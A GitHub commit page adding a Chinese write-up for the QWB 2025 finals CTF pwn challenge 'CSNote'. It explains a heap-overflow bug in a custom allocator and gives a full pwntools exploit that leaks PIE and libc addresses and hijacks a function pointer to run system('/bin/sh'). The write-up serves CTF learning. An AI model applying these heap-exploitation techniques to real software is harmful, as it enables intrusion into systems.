Skip to content

Commit bbb3e21

Browse files
committed
update(qwb2025): add final challenge
1 parent a469bfb commit bbb3e21

File tree

5 files changed

+168
-2
lines changed

5 files changed

+168
-2
lines changed

qwb2025/README.md

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
1-
# 强网杯 初赛 2025 S9
1+
# 强网杯 2025 S9
2+
3+
## 初赛
24

35
牢完了,难题一题没出,老老实实复现一下学点东西
46

5-
## 题解
7+
### 题解
68

79
1. adventure
810
2. babyjs
@@ -14,3 +16,12 @@
1416
8. tradpwn
1517
9. [file-system](filesys.md)
1618
10. ez-stack
19+
20+
21+
## 决赛
22+
23+
没想到去长亭实习,直接让我加入决赛的参与过程中了,牢了一天做了一题
24+
25+
最后长亭第二,十几个人一起打比赛,太恐怖了
26+
27+
1. [CSNote](csnote.final.md)

qwb2025/assets/csnote-bug.png

45.7 KB
Loading

qwb2025/assets/csnote-failcase.png

55.2 KB
Loading

qwb2025/assets/csnote.png

109 KB
Loading

qwb2025/csnote.final.md

Lines changed: 155 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,155 @@
1+
# CSNote
2+
3+
## 文件属性
4+
5+
|属性 ||
6+
|------|------|
7+
|Arch |amd64 |
8+
|RELRO |Full |
9+
|Canary|on |
10+
|NX |on |
11+
|PIE |on |
12+
|strip |yes |
13+
|libc |Arch 2.42|
14+
15+
## 解题思路
16+
17+
题目自己实现了一个堆,地址是从`getrandom`系统调用得到的,不可预测;
18+
在分配页的附近会有`PROT_NONE`页阻止越界访问。所有分配都是非线性的,
19+
相邻的堆块不会分配到一起。逆向是一坨,得上点fuzz。题目有两种chunk,大和小,
20+
结构大概是这样:
21+
22+
```c
23+
typedef struct {
24+
long size_flag;
25+
char buf[0xf8];
26+
} small;
27+
28+
typedef struct {
29+
long size_flag;
30+
char *buf;
31+
void (*writer)(char *buf, long size);
32+
} large;
33+
34+
// 如果size <= 0xf8,则size_flag = 0x8000000000000000 | size;此时为负数
35+
// 如果堆块被释放,则小块全部填0xde;同样是负数
36+
// 对于大堆块,size_flag = size;此时为正数
37+
```
38+
39+
通过一些fuzz发现在edit时存在bug:执行`read(0, chunk->buf, size)`时,对于大堆块,
40+
`size`会使用记录的`size_flag`的值,而对于小堆块,`size`会使用上次的值
41+
(例如上次create时写为0x90000,则修改小堆块时size仍为0x90000,因此存在溢出)。
42+
43+
<img src="assets/csnote-bug.png" width="60%">
44+
45+
经过统计,前256个堆块在分配时虽然相邻两次的堆块分配时空间上并不相邻,
46+
但是总体分配在一起,因此通过爆破实现堆溢出,可以修改下一个堆块的`size_flag`
47+
实现类别的转换。总体利用如图所示:
48+
49+
<img src="assets/csnote.png" width="70%">
50+
51+
## EXPLOIT
52+
53+
```python
54+
from pwn import *
55+
context.terminal = ['tmux', 'splitw', '-h']
56+
context.arch = 'amd64'
57+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
58+
EXE = './main'
59+
60+
def payload(lo: int, host: str='', port: int=0) -> int:
61+
# global t
62+
if lo:
63+
t = process(EXE)
64+
if lo & 2:
65+
gdb.attach(t)
66+
else:
67+
t = remote(host, port)
68+
elf = ELF(EXE)
69+
libc = elf.libc
70+
71+
line = t.recvline()
72+
if b'Blocked' in line:
73+
t.close()
74+
return 4
75+
t.unrecv(line)
76+
77+
def create(idx: int, sz: int, buf: bytes):
78+
t.sendlineafter(b'enter option', b'0')
79+
t.sendlineafter(b'index', str(idx).encode())
80+
t.sendlineafter(b'read len', str(sz).encode())
81+
t.sendafter(b'content', buf)
82+
83+
def reader(idx: int, fetch: bool=True) -> bytes:
84+
t.sendlineafter(b'enter option', b'2')
85+
t.sendlineafter(b'index', str(idx).encode())
86+
if fetch:
87+
t.recvuntil(b'content:\n')
88+
return t.recvuntil(b'options:', drop=True)
89+
90+
def edit(idx: int, buf: bytes):
91+
t.sendlineafter(b'enter option', b'3')
92+
t.sendlineafter(b'index', str(idx).encode())
93+
t.sendafter(b'content', buf)
94+
95+
LOOP = 24
96+
SMALL = 1 << 63
97+
for i in range(LOOP):
98+
create(i, 0x20, b'a')
99+
for i in range(LOOP, 2 * LOOP):
100+
create(i, 0x100, b'a')
101+
for i in range(LOOP):
102+
edit(i, p64(SMALL | 0x20).rjust(0x100))
103+
104+
for i in range(LOOP, 2 * LOOP):
105+
buf = reader(i)
106+
if buf[1:4] != b'\0' * 3:
107+
break
108+
else:
109+
t.close()
110+
return 1 # no collision
111+
112+
pie_base = u64(buf[8:16]) - 0x1220
113+
elf.address = pie_base
114+
success(GOLD_TEXT(f'Leak pie_base @ LARGE {i:2d}: {pie_base:#x}'))
115+
116+
edit(i, flat(elf.got['puts'], elf.plt['puts']))
117+
create(3 * LOOP, 0x120, b'a')
118+
119+
for k in range(LOOP):
120+
edit(k, p64(0x100).rjust(0x100))
121+
buf = reader(i)
122+
if len(buf) == 0:
123+
return 2 # small chunk overlapped
124+
if buf[6] == 10:
125+
break
126+
127+
libc_base = u64(buf[:6] + b'\0\0') - libc.symbols['puts']
128+
success(GOLD_TEXT(f'Leak libc_base @ SMALL {k:2d}: {libc_base:#x}'))
129+
libc.address = libc_base
130+
131+
create(256, 0x120, b'a')
132+
edit(k, b'a'*0xf8 + flat(0x200, next(libc.search(b'/bin/sh')), libc.symbols['system']))
133+
reader(i, False)
134+
135+
t.sendline(b'cat flag')
136+
t.recvuntil(b'flag{')
137+
flag = b'flag{' + t.recvuntil(b'}')
138+
success(f'Flag is: {flag.decode()}')
139+
140+
t.close()
141+
return 0
142+
```
143+
144+
## 没那么简单
145+
146+
后面比赛结束后和其他选手讨论了一下,还有一个洞在swap功能里,而且由于第二天题就没了,
147+
也没仔细看了。
148+
149+
我这个方案有可能会出现的问题是,在尝试覆写下一个堆块的过程中,
150+
可能把原先的小堆块改成大堆块,而上面填的数据还是垃圾数据,这就会导致read会阻塞,
151+
但是由于地址错误,输入的内容会被放到主循环里导致乱套,无法继续利用。
152+
而且由于我们一开始不知道任何指针,因此也没法预先填充好一个正确的指针,导致这个问题没法被解决,
153+
这也是溢出这个方案不稳定的原因。
154+
155+
<img src="assets/csnote-failcase.png" width="70%">

0 commit comments

Comments
 (0)